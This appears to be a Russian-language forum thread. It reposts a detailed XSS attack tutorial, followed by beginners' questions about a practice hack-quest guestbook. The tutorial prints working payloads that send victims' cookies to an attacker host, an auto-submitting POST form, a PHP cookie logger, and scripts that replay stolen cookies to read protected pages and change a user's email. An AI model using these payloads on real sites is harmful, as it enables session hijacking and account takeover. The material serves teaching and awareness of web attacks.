Уязвимости появляются при взаимодействии двух синтакс. так сказать Например PHP+HTML, PHP+SQL, PHP+PHP... В основном они появляются изза недостаточной фильтрации скриптом вводимых данных. Ты знаешь в PHP ф-ию ereg_replace, preg_replace и т д? Эти ф-ии для работы с рег. выражениями. Чтобы например тег на форуме [сolor=red]ТЕКСТ[/сolor] парсился (преобразовывался) в <span style='color:red>ТЕКСТ</span> XSS - это вообще вставка скрипта в HTML. Обычно скрипт пересылает куки на снифер. Снифер на другом сайте. Отсюда и XSS (Cross Site Scripting, межсайтовое скриптование) Читай книги по PHP
Введение Ошибки, связанные с межсайтовым скриптингом (Cross site scripting, XSS), являются достаточно известными, но по-прежнему исключительно опасными. Их уникальность заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента. Это может сделать исключительно трудным отслеживание подобных атак, особенно если запросы не полностью протоколиуются (как в случае POST-запросов). Во многих документах рассматривается вопрос вставки HTML-кода в уязвимый скрипт, но обсуждение того, что может быть сделано с помощью успешной XSS-атаки, как правило, остается за скобками. Хотя обычно этого достаточно для защиты, истинная опасность XSS-атак зачастую остается недооцененной. В данном материале рассматриваются как раз такие подобные возможности XSS-атак. Анатомия XSS-атака обычно проводится путем конструирования специального URL, который атакующий подсовывает своей жертве. Можно провести аналогию между XSS-атакой и переполнением буфера, и между встраиванием скрипта и переписыванием EIP. В обоих случаях существуют две возможности для совершения успешной атаки: вставка мусора, либо переход в другую точку. Вставка мусора при переполнении буфера обычно приводит к атаке на отказ в обслуживании. В случае XSS-атаки она позволяет атакующему отобразить произвольную информацию и подавить вывод оригинальной веб-странице. Что касается перехода в другую точку, при переполнении буфера он обычно производится в некоторую область памяти, в которой расположен код, позволяющий захватить контроль над исполнение программы. В случае XSS, атакующий перенаправляет жертву на некоторую веб-страницу (как правило, находящуюся под контролем атакующего), перехватывая текущую сессию. Обнаружение Но каким образом осуществляются XSS-атаки? Они становятся возможными из-за ошибок в серверных приложениях, и корни их - в пользовательском вводе, который некорректно очищен от HTML-кода. Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением веб-страницы с правами самого сайта. Простейшая страница, уязвимая к подобным атакам, выглядит так: PHP: <?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?> При открытии страницы, переменная name, отправляемая методом GET, выводится непосредственно в ее теле, со всеми метасимволами. Передав в качестве параметра "Gavin Zuchlinski", мы получим корректный вариант отображения: Передав в параметре HTML-код, можно добиться неожиданного результата: Ввод не проверяется серверным скриптом перед тем как передать результат броузеру, и это позволяет вставить в уязвимую страницу произвольный пользовательский код. Иногда пользовательский ввод не обрабатывается скриптом непосредственно, а вставляется в файл или базу данных, и после этого забирается оттуда для вставки в страницу. Традиционным местом для XSS-ошибок являются страницы, выводящие всевозможные подтверждения (например, поисковые скрипты дублируют пользовательский ввод перед результатами поиска), и страницы с сообщениями об ошибках, сообщающие пользователю, что именно он ввел не так. В последнем случае (а иногда и в первом) для атаки часто достаточно закрыть содержимое текстового поля символами "> - кавычка закрывает параметр value, а > - весь тег. Атака После определения уязвимого параметра следует определить подходящий для использования HTTP-метод. Способ, которым пересылаются значения переменных, довольно важен - посылаются ли данные с помощью GET, POST, или сработает любой из них? Некоторые скрипты предпочитают что-то одно, некоторые, использующие готовые методы доступа к переменным (как в случае PH или Perl-Скриптов с CGI.pm) могут работать с любым из методов (1). Вставка с помощью GET самая простая, но и самая "шумная". Чтобы помешать осторожным пользователям обратить внимание на редиректы и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатиричным значением, которому предшествует символ %. Тем не менее, этот метод засоряет адрес и по умолчанию протоколируется большинством веб-серверов (2). Простейший способ перехода - вставка кода на javascript с редиректом страницы. Таким образом можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Более сложные переходы включают другие HTML-теги и объекты (4, 5). Если код вида document.location.replace('http://attacker/payload'); может быть вставлен и исполнен, то можно считать, что атакующий контролирует исполнение страницы. Модифицировав этот код: document.location.replace ('http://attacker/payload?c='+document.cookie); мы добиваемся того, что сервер атакующего получает информацию о cookie жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой: http://host/hello.php?name=<script>document.location.replac e('http://attacker/payload?c='%2Bdocument.cookie)</script> По самой природе XSS, атакующий не может непосредственно использовать уязвимый скрипт в личных целях. Встроенный код должна увидеть жертва. Если бы на том же сервере, что и hello.php, была расположена доска объявлений, постинг этой ссылки на нее привел бы множество жертв. После того как жертва открывает ссылку, информация передается на сервер атакующего. Что именно он сможет сделать с данной информацией, мы рассмотрим позже. Скрипты, уязвимые к POST-вставке, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URL скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы - заставить клиента отправить POST-запрос, содержащий нужный нам код. В следующем примере создается форма, в которой атакующей сформировал значения переменных, и отправляет от имени пользователя: HTML: <form name=f method=POST action="http://host/hello.php"> <input type=hidden name="name" value="<script>document.location.replace ('http://attacker/payload?c='+document.cookie)</script>"> </form> <script>f.submit()</script> После того как жертва откроет промежуточную страницу, она вынудит броузер отправить POST-запрос к hello.php, с переменной name установленной в HTML: <script>document.location.replace ('http://attacker/payload?c='+document.cookie)</script> Цель атакующего достигнута, наш код передан уязвимой странице (3). Вместо вставки кода для перехода, атакующий может решить вставить код, который будет портить уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру код формы для логина, результат работы которой получит атакующий. Этот метод позволяет обойти средства идентификации такие как сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть "взломанной". В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего. Использование После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода броузером жертвы, остается сделать еще один шаг. Страница, на которую перекинуло жертву, должна выполнить некоторые действия. Они могут быть простейшими - например, вывод рекламы или запись данных, - или более сложными, например, перехват пользовательской сессии. Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача накрутки - перехват посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования критичной информации (cookie) для последуюшего ручного использования. Следующий код записывает IP-адрес посетителя, значение Refereк и значение cookie, переданной через переменную "c": PHP: <?php $f = fopen("log.txt", "a"); fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER ['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n"); fclose($f); ?> После того как атакующий получил значения cookie, он может извлечь из них полезную информацию, или попытаться перехватить сессию. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои cookie с целью перехвата сессии. Автоматизировав использование украденных cookie, атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы: PHP: <?php $request = "GET /secret.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); $content = ''; while (!feof($s)) { $content .= fgets($s, 4096); } fclose($s); echo $content; ?> В этом случае /secret.php передается украденный cookie, после чего результат выводится в броузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для смены почтового адреса пользователя без его ведома: PHP: <?php $request = "POST /profile.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $request .= "[email protected]"; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); fclose($s); echo "<script>document.location.replace ('http://google.com/')</script>"; ?> Данный код выполняет полноценную XSS-атаку. Без стороннего скрипта, управляемого атакующим, атака не раскрыла бы весь свой потенциал. Заключение Последствия XSS-атак до сих пор остаются недооцененными специалистами по безопасности и разработчиками. Большинство обсуждающих их документов обычно рассматривают лишь фрагменты полной атаки. XSS-атаки начинаются с идентификации некорректно обработанного пользовательского ввода. После определения подходящей переменной, становится возможным внедрение кода. При внедрении кода, он может воспользоваться значениями переменных, доступных только в контексте данного сайта. В дальнейшем поток управления передаются для совершения определенных действий странице, которяа управляется атакующим. Действия могут быть простыми, как простая запись информации, или сложными, как перехват пользовательской сессии. При успешном выполнении всех этих этапов можно говорить о завершении полноценной XSS-атаки. Источник www.bugtraq.ru
Всем привет,извеняюсь за ламерский вопрос Вот значит,решил изучать веб програмирование,написал чат,стало интересно ,как можно его поломатьПошол в инет,нашол XSS,почитал ,заинтересовалсяНашол чат в инете,там сразу обнаружил XSS(чтобы войти в чат надо ввести имя ,пороль необязателен,если ввести в поле имени "><script>window.alert("A")</script> появится окно,с сообщением ,мол что имя неверное,и кнопка возврат,нажимаю кнопку вылетает мой алерт,и грузится старая страница,это и есть XSS?)затем ввёл нормальное имя,повявилась страничка,с секретным кодом,который надо ввести для входа,и вверху,в адресной строке через метод get передана переменная name и ещо пара,значит,прописал ?name=<H1>ПапоКарло</H1>(ну вобщем как у вас в примере) зашол в чат,и чото мой ник высветился,как обычный,не в формате<H1> подскажите чего нетак зделал?
если можно,напишите "прохождение" квеста, для начала както сложноватоПри входе в гостевую книгу выдаёт ошибку,прописал в переменную book один из индексов,попал в книгу(ошибка,это так задуманно?),ну а дальше ,как по голове стукнулиничо непонимаютри переменные,имя,текстовое поле,кнопка,ещо до текста дошол "Ошибка! Вы не ввели своё имя! "чего дальше...хотелось бы на разобраный пример посмотреть,понять,азы так сказать. P.S. Текст в 5 документе поменял) Осталось имя... Сказать честно несовсем осмыслено Методом проб и ошибок(методом тыка)) ага,вот и имя поддалось(это и ейсть Дефейс?),но всётаки если можно напишите прохождение,охото понять, что я тока что зделал
в общем да. когда дефейсил нужно было в поле текст ввести что-то типа <script>alert("XSS")</script> или фотяб <h1>XSS</h1>
Непашет,если ввести чтолибо и нажать кнопку,просто пишет ошибку в php скрипте,скобки какойто нехватает.
ну вопервых xss это не дефейс. просто на том сайте был простой хак-квест. там изза бага в гостебуке можна было задефейсить главную. + эта гостебука не фильтровала ничё.
